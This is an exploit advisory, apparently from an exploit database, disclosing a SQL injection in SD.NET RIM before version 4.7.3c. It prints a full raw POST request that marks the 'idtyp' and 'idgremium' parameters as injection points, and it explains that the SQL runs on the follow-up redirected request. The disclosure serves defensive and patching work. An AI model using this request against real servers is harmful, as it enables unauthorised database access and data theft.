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# Exploit Title: SD.NET RIM 4.7.3c - 'idtyp' SQL Injection  
# Date: 2019-11-05  
# Exploit Author: Fabian Mosch (r-tec IT Security GmbH)  
# Vendor Homepage: https://www.sitzungsdienst.net/  
# Software Link: https://www.sitzungsdienst.net/2018/12/sd-net-rim-4-7-3-veroeffentlicht/  
# Version: < 4.7.3c  
# Tested on: < 4.7.3c  
# CVE : N/A  
  
# SD.NET RIM before version 4.7.3c is vulnerable to a SQL-Injection vulnerability. To Exploit the vulnerability   
# an attacker has to inject arbitrary SQL Statements in the following POST parameters:  
  
POST /vorlagen/?__=SOMEBASE64 HTTP/1.1  
Host: VulnerableHost.com  
User-Agent: Mozilla/5.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 182  
Origin: https://vulnerablehost.com  
Connection: close  
Referer: https://vulnerablehost.com/vorlagen/?__=BASE64  
Cookie: PHPSESSID250=SESSIONID  
Upgrade-Insecure-Requests: 1  
  
reqid=f48de4c24ae1b72dd37ebde6f6b40544&nummer=t&idtyp=-1’INJECTHERE&idgremium=-1’INJECTHERE&datefrom=TT.MM.JJJJ&dateto=TT.MM.JJJJ&csrftoken=CSRFToken  
  
# The attacker is then redirected with a 302 redirect to an URL /templates/?__=NEWBASE64 as GET request.   
# By issuing the second request the arbitrary SQL-Statement gets executed.